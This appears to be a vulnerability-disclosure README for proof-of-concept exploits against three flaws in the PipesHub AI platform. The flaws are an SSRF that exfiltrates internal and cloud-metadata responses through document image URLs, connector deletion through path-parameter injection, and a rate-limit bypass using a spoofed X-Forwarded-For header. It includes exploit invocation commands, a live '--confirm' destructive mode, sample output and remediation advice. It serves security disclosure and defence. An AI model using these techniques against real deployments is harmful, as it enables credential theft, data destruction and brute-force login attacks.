Proof-of-concept exploits for vulnerabilities in [PipesHub](
a workplace AI platform for enterprise and workflow automation.
| [CVE-2026-119712]( | 8.5 High | SSRF via image URLs in indexed documents | [`CVE-2026-119712.py`](CVE-2026-119712.py) |
| [CVE-2026-119710]( | 8.1 High | Unauthorized connector deletion via the crawling-manager schedule route | [`CVE-2026-119710.py`](CVE-2026-119710.py) |
| [CVE-2026-119711]( | 7.3 High | Rate-limit bypass via a spoofed `X-Forwarded-For` header | [`CVE-2026-119711.py`](CVE-2026-119711.py) |
> Authorized security testing and research only. The PoCs are dependency-free (Python 3
> stdlib) and were verified against the repository source.
# CVE-2026-119712 — SSRF via image URLs in indexed documents
**PipesHub's image parser fetches image URLs taken from document content — a synced
mailbox, a crawled page, or an authenticated upload — with a raw HTTP request that is
not routed through the project's SSRF "blocked-host" policy. A URL embedded in a
document makes the indexing service issue a server-side request to an internal,
| **CVE** | [CVE-2026-119712]( |
| **Vendor / product** | PipesHub — [`github.com/pipeshub-ai/pipeshub-ai`]( |
| **Affected** | `/latest/meta-data/iam/creds.png`;
the internal service receives the request and its body is exfiltrated back as base64
(the parser embeds it into the document).
- **[B] redirect bypass** — fetch the attacker's `…/evil.png` (passes
`_is_valid_image_url`); the `302` is followed into the internal target.
- **[C] control** — run the SSRF guard the code skipped
(`resolve_public_http_target`); it rejects the same URL, proving the fix exists but is
- **`--real`** (default when importable) drives the **actual**
`ImageParser._fetch_single_url` from the repo. Needs the PipesHub source and its deps:
python3 -m venv venv && ./venv/bin/pip install aiohttp httpx pydantic
./venv/bin/python CVE-2026-119712.py --real --src /path/to/pipeshub-ai/backend/python
- **`--standalone`** faithfully reproduces `image_parser.py:140-145` (aiohttp, falling
back to stdlib `urllib` so it runs with zero third-party deps). Auto-selected if the
[A] direct SSRF to a loopback/internal target:
internal service received the request: True
exfiltrated internal body: 'INTERNAL-SECRET-…-metadata-token'
[B] redirect bypass — attacker '.png' URL 302 -> internal
attacker host hit: True; redirect followed into internal: True
[C] the SSRF guard the code skipped: blocks this URL = True
resolve_public_http_target raised FetchError: Blocked unsafe URL address: 127.0.0.1
EXPLOIT CONFIRMED — a content-supplied image URL drove a server-side request
to an internal/loopback target (directly and via a .png redirect).
Confirmed both ways: driving the real `ImageParser._fetch_single_url` (against the
repo source) and the standalone reproduction.
- Server-side requests to internal services, loopback, RFC-1918 hosts, and the cloud
metadata endpoint (`169.254.169.254`) — reachable from document content an attacker
can plant via a synced mailbox, a crawled page, or an authenticated upload.
- Where a fetched target returns an `image/*` content type, its **response body is
exfiltrated** back into the indexed document as base64; otherwise it is a blind SSRF
(port scanning, hitting internal unauthenticated endpoints, request smuggling via the
- Route this fetch through the existing policy: resolve and validate the URL with
`resolve_public_http_target` / `PublicUrlFetcher` (connection-pinning and per-hop
revalidation), instead of calling `session.get` directly — the same change already
made for `image_utils`, the skills importer and `fetch_url` in `23f85354d`.
- Re-check every redirect hop rather than relying on `allow_redirects=True`, and clear
proxy environment variables for these fetches.
- Consider a single `fetch_external(url)` helper and make it the only way any part of
the codebase reaches a URL chosen by a user or by document content.
*Authorized security testing and research only. Verified against repository source and
`pipeshubai/pipeshub-ai:slim` (image built 2026-09-17, which contains `23f85354d`).
Reported to the maintainers per `SECURITY.md`.*
# CVE-2026-119710 — Unauthorized connector deletion via the schedule route
**`POST /api/v1/crawlingManager/:connector/:connectorId/schedule` validates the
connectorId but takes `:connector` as an arbitrary string and requires only the
`crawl:write` scope. That path parameter becomes the message-broker event type, and
the connector service re-parses it and dispatches on its second dotted segment as the
action — so `:connector = "web.delete"` runs the DELETE handler, destroying a connector
and its indexed records, bypassing the `CONNECTOR_DELETE` scope and the
| **CVE** | [CVE-2026-119710]( |
| **Vendor / product** | PipesHub — [`github.com/pipeshub-ai/pipeshub-ai`]( |
# backend/python/app/connectors/services/event_service.py (process_event)
action = parts[1].lower() # the SECOND segment is the action
return await self._handle_delete(connector_name, payload) # destroys connector + graph + embeddings
`:connector = "web.delete"` → eventType `web.delete.resync` → `parts = ["web","delete","resync"]`
→ `action = "delete"` → `_handle_delete`. The connector *type* is chosen independently
of the connector *id*, which also allows connector-type confusion.
- **Offline mechanics proof** (default) — reproduces the exact `utils.ts:13`
construction and the `event_service.py` parse/dispatch, showing a benign `Web`
resolves to a harmless `resync` while the injected `web.delete` resolves to the
`_handle_delete` action — all reachable with only `crawl:write`. Zero dependencies.
- **Live** (`--base`) — sends the crafted destructive request to a running instance and
verifies the connector is gone (`GET /api/v1/connectors/:id` → 404). **Destructive**,
so it is a DRY-RUN (prints the request) unless `--confirm` is passed with a
`crawl:write` `--token` and a throwaway `--connector-id`.
python3 CVE-2026-119710.py # offline proof
python3 CVE-2026-119710.py --base --token --connector-id # dry-run
python3 CVE-2026-119710.py --base --token --connector-id --confirm # fire
[benign] :connector = 'Web' -> eventType 'web.resync' -> action 'resync' (_handle_start_sync)
[INJECTED] :connector = 'web.delete' -> eventType 'web.delete.resync' -> action 'delete' (_handle_delete)
mechanics: CONFIRMED — a crawl:write ':connector=web.delete' reaches the _handle_delete action.
A caller holding only `crawl:write` (any OAuth app consented for sync management, or any
member's PAT) permanently destroys a connector instance and its indexed records and
embeddings, skipping both the `CONNECTOR_DELETE` scope and the guard that prevents
- Validate `:connector` against the connector registry (and against the connector
instance's actual type) before using it — never interpolate a path parameter into an
- Make the event type a structured `{connector, action}` pair or a fixed enum rather
than a dot-delimited string the consumer re-parses.
- Require `CONNECTOR_DELETE` for any action that deletes, regardless of the entry point.
# CVE-2026-119711 — Rate-limit bypass via a spoofed X-Forwarded-For header
**The rate limiter derives its key, for unauthenticated requests, from the
client-supplied `X-Forwarded-For` / `X-Real-IP` headers, and no `trust proxy` is
configured anywhere. A fresh header value per request yields a fresh bucket, so the
only limiter protecting the unauthenticated auth endpoints can be bypassed — making
password spraying, OTP brute force and mail-bombing unbounded.**
| **CVE** | [CVE-2026-119711]( |
| **Vendor / product** | PipesHub — [`github.com/pipeshub-ai/pipeshub-ai`]( |
| **Affected** | ` `ip:${getClientIp(req)}`
There is **no `app.set('trust proxy', …)`** anywhere in the codebase and no proxy that
rewrites the header, so `X-Forwarded-For` is taken verbatim. The global limiter is the
only one protecting `POST /api/v1/userAccount/initAuth`, `/authenticate`,
`/login/otp/generate` and `/password/forgot`.
- **Offline mechanics proof** (default) — reproduces `getClientIp()`/`keyGenerator` and
shows that the same socket address with a rotating `X-Forwarded-For` produces a
distinct limiter key (a fresh bucket) every request, while the true socket address is
- **Live** (`--base`) — hammers an unauthenticated endpoint first with a **fixed**
header (expect a `429` after the cap) then with a **rotating** header (expect zero
python3 CVE-2026-119711.py # offline proof
python3 CVE-2026-119711.py --base # live
python3 CVE-2026-119711.py --base --path /api/v1/userAccount/initAuth --n 90
X-Forwarded-For: -> key 'ip:10.0.0.5' (the real source)
X-Forwarded-For: 198.51.100.1 -> key 'ip:198.51.100.1'
X-Forwarded-For: 198.51.100.2 -> key 'ip:198.51.100.2' ... a new bucket each time
distinct bucket per request: True real socket address ignored: True
(The original research also reproduced this live: a fixed header hit `429` after 60
requests; 90 requests with a rotating last octet produced zero `429`s from the same
Unlimited credential stuffing, OTP brute force and email bombing against arbitrary
addresses — the limiter that is supposed to bound these is keyed on a header the
attacker sets. The same keying is used by the per-key limiters on `/oauth2/token`.
- Key on the socket address (`req.socket.remoteAddress`), and read `X-Forwarded-For`
only when a trusted proxy is configured (`app.set('trust proxy', )`).
- Add dedicated limiters to the authentication endpoints (per account *and* per IP, with
lockout/backoff), rather than relying on the global limiter.
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
